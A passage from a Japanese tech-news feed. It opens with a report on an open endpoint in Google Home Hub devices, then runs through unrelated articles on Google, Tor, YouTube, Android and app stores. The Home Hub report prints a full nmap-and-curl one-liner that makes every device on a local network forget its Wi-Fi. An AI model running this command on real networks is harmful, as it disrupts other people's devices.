"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

そして下のnmap呼び出しは、ローカルなネットワーク上のすべてのデバイスが自分のWi-Fiを忘れてしまうので、もう一度セットアップしなければならない:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Gamblinも言っているが、これらのセキュリティホールは壊滅的ではないが要注意だ。これらのコマンドやツールを不正に実行できてしまうこと自体、よく言えば怠慢だし、悪く言えば危険だ。彼の指摘によると、このオープンなエンドポイントは何年も前からいろんなGoogleデバイスにある。だからこれはコードベースの正常な一部であり、Googleによるいたずらではない。

ここには、重大なものは何もないし、Home Hubが重要な医療機器を制御することもない。でも、このプラットホームを使ってるデバイスにセキュリティの欠陥があることは、知っておいて損はない。この場合はコマンドの不正実行やシステムの盗用だ。しかし今日はGrandpaの超複雑な写真フレームをリブートできるだけだが、明日になると誰かが、うちのおじいちゃんの酸素濃縮器をリブートするかもしれない。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Googleの社員グループ、会社の性的不品行への対応に抗議のストライキを計画

New York Timesの調査によって、Androidの開発者Andy RubinにGoogle社員との不倫や性的不品行があったにもかかわらず、会社が9000万ドルの退職金を与えたことが暴かれた。これを受け、検索巨人の社員200名がストライキを計画している。 BuzzFeed Newsが伝えた。

本誌はGoogleにコメントを求めた。

ストライキは社内フォーラムでは women’s walkと呼ばれており、木曜日(米国時間11/1)に予定されている。

NYT紙報道の後、GoogleのCEO Sundar Pichaiと人事担当VP Eileen Naughtonは連名の社内メモを発行し、過去2年間に48名がセクシャル・ハラスメントによって退職し、うち13名は上級経営陣だったことを認めた。メモによると、その中で退職報酬を受け取った者は誰もいない。

「今日のNew York Timesの記事は読むのが辛かった」と彼らは書いた。「われわれは安全で誰もを受け入れる職場を提供することに本気で取り組んでいる。セクシャル・ハラスメントや不適切な行動に関する苦情にはすべて必ず目を通し、調査のうえ行動を起こすことを約束する」

Rubinは2014年、彼の性的不品行に対する訴えが信用に足ることが内部調査によってわかった後Googleを去った。しかし、退職の詳細について公表されることはなかった。昨秋The InformationがRunbinの不法行為に関する独自の爆弾レポートを報道したことで、彼のセクシャル・ハラスメントの歴史が明かされ始めた。同誌の記事を受け、Rubinは「私事に対応する」ためにEssentialを休職した。

Google退社後、RubinはEssential Productsというスマートフォン会社を設立し、多額のVC資金を調達したものの、次期端末の開発は中止となり、社員の30%をレイオフし、報道によれば会社を売りに出したと言われている。

Rubinは先週のツイートで、NYTの記事には「不正確な内容」が数多く含まれていると主張した。

「中でも、私はホテルの部屋で女性に性行為を強要したことはない。こうした虚偽の主張は、離婚や親権争いで私の評判を落とすための中傷工作の一部だ。また、匿名のGoogle幹部が私の人事データについて事実を曲げたコメントをしていることに深く傷ついている」

[原文へ]

(翻訳:Nob Takahashi / facebook

Mozillaは寄付の全額をTor Projectへのマッチングファンドに、Firefoxへの内蔵も開発中

Firefoxの生みの親であるMozillaが、その長年の盟友Tor Projectに再び目を向け、寄付の全額をTorの資金として提供することになった。オンラインのプライバシーを強化するオープンソースのプロジェクトTorは、今年も年末恒例の資金集め活動を開始したばかりだ。

TorはMozillaのサポートを今日(米国時間10/24)発表し、両者のパートナーシップがさらに続くことになった。昨年Torが調達した40万ドルあまりには、Mozillaの貢献も含まれている。これはテクノロジー系のスタートアップなら小額のシードラウンドにすぎない額だが、しかし2015年に政府の補助金への依存をやめて、資金源をクラウドファンディングに切り替えたTorにとっては、重要な収入源だ。

その2015年には、Torは330万ドルという記録的な額の寄付を受領した。それは2014年の250万ドルを上回り、今だにTorの年収の最高額だが、しかしその86%は国の補助金だった。それは、これまでで最高の額だが、Torの研究部長で社長のRoger Dingledineは当時、もっと頑張ってその比率を減らすべきだ、と認めていた。

Torは2016年以降の決算報告をまだ出していないが、昨年はプロダクトの面では大きな飛躍があった。Torは今でも、NSAの内部告発者Edward Snowdenが使ったことが、いちばんよく知られている。大きな飛躍というのは、今年の9月にAndroid用のモバイルブラウザーをローンチしたことと、同じ月にTor Browser 8.0をリリースしたことだ。後者は、これまででいちばん使いやすいTorのブラウザーで、Firefoxの2017 Quantumがベースだ。TorをFirefoxに内蔵するために、Firefoxとの密接な協働が続いた。Mozillaの元CEO Brendan Eichが作ったブラウザーBraveは、すでにTorを内蔵している

Torはブラウザーと、盗聴や監視のおそれを最小化するTorネットワーク本体のほかにも、いろんなプロジェクトを抱えている。Tor自身のデータによると、Torの推定ユーザー総数はおよそ200万人だ。

Tor Foundationで資金調達を担当しているSarah Stevensonはこう語る: “Tor Projectには大胆なミッションがある。ネットワークに対する侵入や制限に抗して世界中のインターネットユーザーのプライバシーと自由を守ることだ。でもそれは、一人ではできない”。

“エジプトやベネズエラなどの国には表現の自由に対する制約があり、オープンなWebへの自由なアクセスができない。また企業サイドでは、GoogleやAmazonなどが人びとのデータを濫用し、監視経済を肥大させている。反対意見を封じ込めるために、インターネットアクセスを全面的に禁じている国すらある”。

というわけで、Tor Projectの果敢なミッションに賛同される方は、同団体にここで寄付できる。

参考記事

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

YouTubeが今やってるベータは新機能ではなくアプリの安定性をテストする

Googleはときどき、Google Play上のさまざまなAndroidアプリのベータバージョンで、新しい機能を実験する。でも、最近見つかったYouTubeのベータは残念ながら、このビデオ共有サービスに近く加わる何かのテストではない。Googleによるとそれはむしろ、将来ではなく現時点のYouTubeの安定性をテストしているだけだ。

同社は先週秘かに、YouTubeのベータプログラムをGoogle Playで開始した。それはすぐに、Android Policeの連中に見つかった。

最初それは、YouTubeの今後の新しい機能をそのベータで試しているのだ、と思われていた。そのベータに関するGoogle自身のドキュメンテーションも、そう言っていた:

それだけでなく、そのドキュメンテーションはテスターたちに、そのアプリで見た新しい機能に関しては、それが正式にローンチするまでは情報を共有しないよう促していた。

新しいものなら何でも、人より先に試してみたくなる私たちアーリーアダプターにとってそれは、とってもそそる話だよね。

でも、詳しい話を聞こうと思ってGoogleに問い合わせると、同社はそのドキュメンテーションをアップデートして、“実験的機能”という言葉を削除した。今それは、テスターはYouTubeアプリの安定化を助ける、とだけ言っている:

確かにYouTubeも、頻繁にベータをやっている。唯一の変化は、先週からもっと多くの人がそれらにアクセスできるようになったことだ。

今やっているYouTubeアプリの安定性テストも、誰もが参加して、いつでも脱(ぬ)けることができる。ただし現時点ではまだ。新しい機能のベータの予定はない。しかし今後は、新しい機能のベータも、このように一般参加でやるようになるかもしれない。そして、誰よりも早くそのことを知りたかったら、今やってるベータに参加した方がよいかもしれない。

でもYouTubeはこれまで長年、新しい機能のテストはサーバー側でやってきた。しかしそれも今年から変わり、それらのテストも一般公開されるようになった。実験に参加したい人はYouTubeのCreator Insiderチャネルに@TeamYouTubeのハンドルでアクセスするとよい。

数か月前にiPhone上のExploreタブのテストを発表したときも、そうだった。また最近の発表では、ビデオに広告を入れる新しいやり方をテストするらしい。それは、一回の広告挿入で複数の広告を出すことにより、“広告による中断”の回数を減らす、という試みだ。

YouTubeのベータプログラムのメンバーがその実験にオプトインになるのか、ならないのか、それはまだ分からない。そのときベータのターゲットとして選ばれるか否かで、それは決まるのだろう。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Google、Android App Bundleをアップデート――Instant App同時公開がサポートされた

Googleは今日(米国時間10/18)、Androidアプリのデベロッパー向けに重要なアップデートを発表した。 ひとつはアプリのサイズを減少させるもので、もう一つはInstant Appを簡単につくれるようにするものだ。Instant Appはデバイスにインストールせずに動かすことができる軽量なアプリで、ユーザーが簡単に試してみることができるためメリットが大きい。

Android App Bundleはアプリをモジュラー化して開発し、各デバイスに必要なイメージを配信する方法でしばらく前から公開されている。Googleによれば、App Bundleを利用して開発されたアプリは数千にも上り、ファイルのサイズは平均35%も節約できたという。今日のアップデートで、GoogleはApp Bundleがデバイス上にすでにインストールされている非圧縮のネーティブ・ライブラリを利用する方法に改良を加えた。.これによりインストールする際のダウンロードのトラフィックは平均8%減少し、デバイス上で占めるサイズも16%小さくなるという。

サイズについていえば、現在App Bundleから生成されたAPKの最大ファイルサイズは100MBだが、Googleによれば近くデベロッパーが500MBまでのAPKをアップできるようにするという。

またApp Bundleは新たにAndroid Studio 3.2(安定版)とUnity 2018.3 ベータでもサポートされた。

ダウンロード失敗の大きな原因がデバイスに空き容量が不足していることなのでファイルサイズが小さくなるのはアプリの公開にメリットがある。ただGoogleが今回公開したもう一つのアップデートのほうがデベロッパー、ユーザー双方に影響が大きいかもしれない。GoogleのInstant Appはデベロッパーが小さいアプリを公開できる機能だ。これはアプリのトライアル版や、ユーザーがアプリをウェブ検索で見つけ、すぐに試してみたい場合などに効果的だ。Instant Appはフルサイズのアプリをダウンロードしてインストールするという面倒な(往々にして時間がかかる)プロセスを必要としない。

GoogleはデベロッパーがApp BundleでInstant Appを開発できるようにした。つまりデベロッパーはフルサイズのアプリとInstant Appの双方を開発、公開する必要がなくなった。その代わりに、App Bundleでアプリを開発し、Instant Appを含めるオプションを選択して単一のアプリとしてGoogle Playで公開すればよい。アプリをアップデートする際もいちいち2つのアプリをメンテナンスする必要がなくなった。

デベロッパーはInstant Appを使ってゲームなどの有料タイトルを開発した際、その一部をInstant Appにして登録前のユーザーにトライアルを許すというキャンペーンが実行できるようになった。

Androidデベロッパー向けの他のアップデートにはクラッシュ・レポートの改良が含まれる。これは実際にアプリを利用しているユーザーからのクラッシュ情報ととFirebaseテストラボからの結果が総合して報告される。またアプリのサブスクリプション課金の手続きなどもアップデートされた。詳細はこちらから確認できる。

原文へ

滑川海彦@Facebook Google+

Apple App Store、Q3売上がGoogle Playを93%上回る

AppleのApp StoreとGoogle Playの売上はこれまでも常に開きがあった。しかし2018年第3四半期、それが大きく広がった——おそらくこれまでで最大だ。Sensor Towerの最新レポートによると、同四半期にApple StoreはGoogle Playより93%多い売上を記録した。これは少なくとも2014年以降では最大の差だ(Sensor TowerがGoogle Playのデータを追跡し始めたのが2014年だった)。

同社によると、2018年Q3に生み出されたモバイルアプリ売上182億ドルのうち、約66%がAppleのApp Storeによるものだった。同社の四半期売上は120億ドルで前年同期の97億ドルから23.3%増えた。

一方同四半期のGoogle Playの売上は62億ドルで、一年前の51億ドルから21.5%伸ばした。

Sensor Towerの両ストアを合わせたトップセールスアプリのランキングを見ると、依然として定期購読が売上増に貢献している。Netflixは非ゲームアプリのトップセールスを3期連続で達成し、両プラットフォーム合わせて推定2.437億ドルを稼いだ。TinderとTencent Videoがそれぞれ2位と3位を守った。

モバイルゲームの利用も売上成長を後押ししており、同四半期の売上は前年比14.9%の138億ドルだった。これは同期の両プラットフォーム全アプリ売上の76%を占め、85億ドルがApp Storeから53億ドルがGoogle Playによる。

しかしながら、アプリのダウンロード数では、Google Playが依然リードしている。これは新興国市場で低価格Android端末が急速に普及したことが理由だとレポートは書いている。両ストア合わせたアプリのインストール数は271億件で2017年Q3の244億件から10.9%アップだった。

最多ダウンロード数アプリのランキングもQ3に大きく動いた。Bytedanceのショートビデオアプリ、TikTokがMusical.lyを吸収したためだ。統合の結果TikTokは、対前期比15%増、対前年比440%増で世界第4位のアプリとなった。

これで同アプリはQ3のアプリダウンロード数でInstagram(第5位)とSnapchat(第10位)の両方を上回り、Bytedanceはソーシャルアプリ市場でより重要なプレーヤーになるための地盤を築いた。

Sensor Towerのレポート全文はここで読むことができる。

[原文へ]

(翻訳:Nob Takahashi / facebook

Google Pixel 3、Pixel 3 XLハンズオン・レビュー

 

「もう知ってるって? 明日、自分の目で確かめよう!」とGoogleはツイートしていた。けっきょく、われわれの推測は正しかった。今日(米国時間10/9)のハードウェア・イベントでGoogleが発表するアイテムについてはPixel 3その他、ほぼすべて知っていた。 実際情報は広く流れていたので発表そのものはほぼ予想どおりだった。

昨年のこのイベントでPixel 2が発表されたときの驚きとは違って、Pixel 3の印象は着実なアップデートというものだ。Googleは長い間、将来を決めるのはソフトウェアだと主張してきた。Googleのようにソフトウェアの革新によって成立した企業であればそういう考え方となるのは理解できる。

Pixel 3はハードウェアだが、やはりソフトウェア重視の姿勢が見て取れる。 今日のイベントでもGoogleはハードウェアについてはあまり多くの時間を割かず、AIや機械学習の成果がどのように活かされているかの紹介に力を入れていた。

Googleはあっという間にPixelシリーズでハイエンド・スマートフォンのメーカーとしての地位を確立したが、Pixelというプロダクトの本当の目的は、Android OSの上でどんなことができるかを世界に知らせるためのショーケースとしての役割だということは念頭に置いておくべきだろう。

ともあれPixel 3の外観はPixel 2のデザインを引きついでいる。何の気なしに見たのでは区別は難しいくらいだ。Googleのデバイスはハードウェアのデザインとして最高に美しいというものではない。デザインの最高峰ということになれば、どちらが上かは人それぞれ好みによるだろうが、AppleかSamsungが候補だろう。

今回発表されたPixel XLはXLという名前にふさわしく巨大だ。サイズは6.3インチだが、なるほどそれだけあるだろうという印象だ。こういう大型スマートフォンはスリムなポケットには向かないし、片手で操作しようとするならかなり大きな手が必要だろう。われわれが報じたとおり、XLのディスプレイにはかなり大きな切り欠きが上部にある。

このディスプレイのノッチは最新のAndroidによってサポートされるようになったものだが、フロント・カメラが2台になったことと大きな関連がある。これにより従来よりはるかにワイドなセルフィーが撮れるようになった。イベントでもGoogleはセルフィー機能のグレードアップにかなり時間を使っていた。逆にリアのメインカメラは。、最近のトレンドに逆行するように、単一だ。

カメラに導入された各種の新機能はほとんどすべてGoogleの人工知能、機械学習の成果によるものだ。これによりPixel 3はiPhone XSと同クラスの能力を備える。新製品のプレゼンの最後はカメラの新機能の紹介が続いたが、なかでも超低照度対応とズームはぜひ詳しくテストしてみたいと思った。これについては近々お伝えできるだろう。

昨年HTCがアクティブ・エッジ機能を備えたスマートフォンを発表して以来、私はエッジを握るとことでアシスタントを起動するのに慣れてしまったことを認めざるをえない。これはSamsungの専用ボタンよりずっと優れている。Googleアシスタントにはすでに人気があるが、時間とともにGoogleがこれをますます高機能にしていくことは間違いない。

で、価格だ。新製品の記事ではあまり大きく書かれないが、価格の重要性は強調しきれない。

しばらく前は1000ドルのスマートフォンといえば、いかにフラグシップモデルであろうと異常に高いという印象だった しかしAppleとSamsungがこの常識を変えてしまったのはよく知られているとおりだ。ところがGoogleはあらゆるチャンスをとらえてこの両社のプロダクトの魅力を下げようと努力してきた。

Pixel 3が799ドル、Pixel 3 XLが899ドルという価格は絶対的には安いとは言えない。しかしフラグシップモデルなら1000ドルだというトレンドからすれば非常にお得な価格だと感じられる。

more Google Event 2018 coverage

原文へ

滑川海彦@Facebook Google+

GoogleのPixel 3イベントを本誌の窓から楽しもう

Googleは毎年10月に大イベント“Made by Google”で、それまでに開発してきた新しいガジェットを披露する。

今日(米国時間10/9)がその日だ。イベントは太平洋時間の午前9時(ニューヨーク時間では正午、ロンドンは午後5時、中国は水曜日の午前0時)に始まるが、すべてをこのページ上で見られる。

Googleはいくつかのサプライズを用意していると思うが、でも、主な内容の多くがすでにリークしてしまった。Googleの自社製Androidスマートフォンの最新機Pixel 3と、その肥満タイプPixel 3 XLが主役であることは、ほぼ確実だ。そして、AmazonのEcho Showの対抗機(と呼ぶのがふさわしいと思われる)Home Hubも、やはり主役級だ。またChromecastの新型機が、FCCでうろうろしていたようだし、Chrome OS搭載のタブレットも、わずか数日前に姿を見せた

とにかく、何が発表されようとも、本誌の取材陣はそこにいる。だから、ありとあらゆるニュースを、刻々お届けできる。製品に実際に触(さわ)れたら、その感触もいち早くお伝えしよう。

more Google Event 2018 coverage

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Googleが音声でスマートフォンを操作できるAndroidアプリをローンチ、障害者でなくても便利

Googleが今日(米国時間10/2)、体の不自由な人がスマートフォンを使えるためのAndroidアプリを発表したVoice Accessという名前のそのアプリは、手を使わずにアプリを使ったり、テキストを書いたり編集したり、そしてもちろん、Google Assistantに話しかけたりできる。

つまりこのアプリを使うと、ボタンのクリック、画面のスクロール、アプリの画面内での移動などのコントロール機能が音声でできる。今は英語だけだが、ほかの言語も準備中だ。

Googleはこのアプリの主なユーザーを、パーキンソン病や多発性硬化症、関節炎、脊髄損傷などの患者と想定しているが、ほかの作業で手がふさがっている人にも便利だ。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Opera TouchブラウザーがiPhoneに来た; ホームボタンのない大画面の片手操作に最適

ブラウザーの専門企業であるOperaが、その得意技で戻ってきた。その美しいデザインのブラウザーで、GoogleやAppleなどのありふれたブラウザーからシェアを奪う気だ。今週同社はその‘Opera Touch’ブラウザーをiOSに持ち込み、iPhoneのオーナーたちに標準装備のSafariブラウザーに代わるものを提供しようとしている。

このアプリは最初4月にAndroidに登場し、モバイルの上、とくにホームボタンのない大型画面のためにすでに確立されていたパラダイムの多くを踏襲していた。それらは今日の市場では、高級機の標準になりつつある。

iPhone用のOpera Touch(ここでダウンロードできる)は、片手操作用に最適化されているから、iPhone Xや最新のiPhone XS, iPhone XS Max, (今後の)iPhone XRのオーナーはとくに関心を持てるだろう。ユーザーインタフェイスはAndroidアプリと変らず便利で、タブの開閉や検索への切り替え、画面下のメニューバーからの前進後退などができる。ブックマークのもっと全体的な管理ができるといいのだが。

Opera独自の‘Flow’機能も実装されていて、これによりリンクや画像やメモなどを、“安全かつプライベートな”接続でスマートフォンからコンピューター上のOperaに渡せる。

前と同じくOperaブラウザーは広告ブロック内蔵で、暗号通貨採掘の阻止機能もある。あなたのCPUが誰かによって暗号通貨の採掘に使われてしまうのを、防ぐのだ。

全体としてこのブラウザーは、Appleの最新のホームボタンのないデバイスを持っていて、最初からあるSafariブラウザーに代わるものを探していた人なら、試す価値がある。Safariに代わるものと言えばGoogle Chromeもあるが、こいつは最近10周年でデザインを変えた。そのほかに、Mozilla, UC Web, Dolphin, Braveなどのブラウザーもある。

[関連記事: Operaが新しいモバイルブラウザーをローンチ(未訳)]

[原文へ]
(翻訳:iwatani(a.k.a. hiwa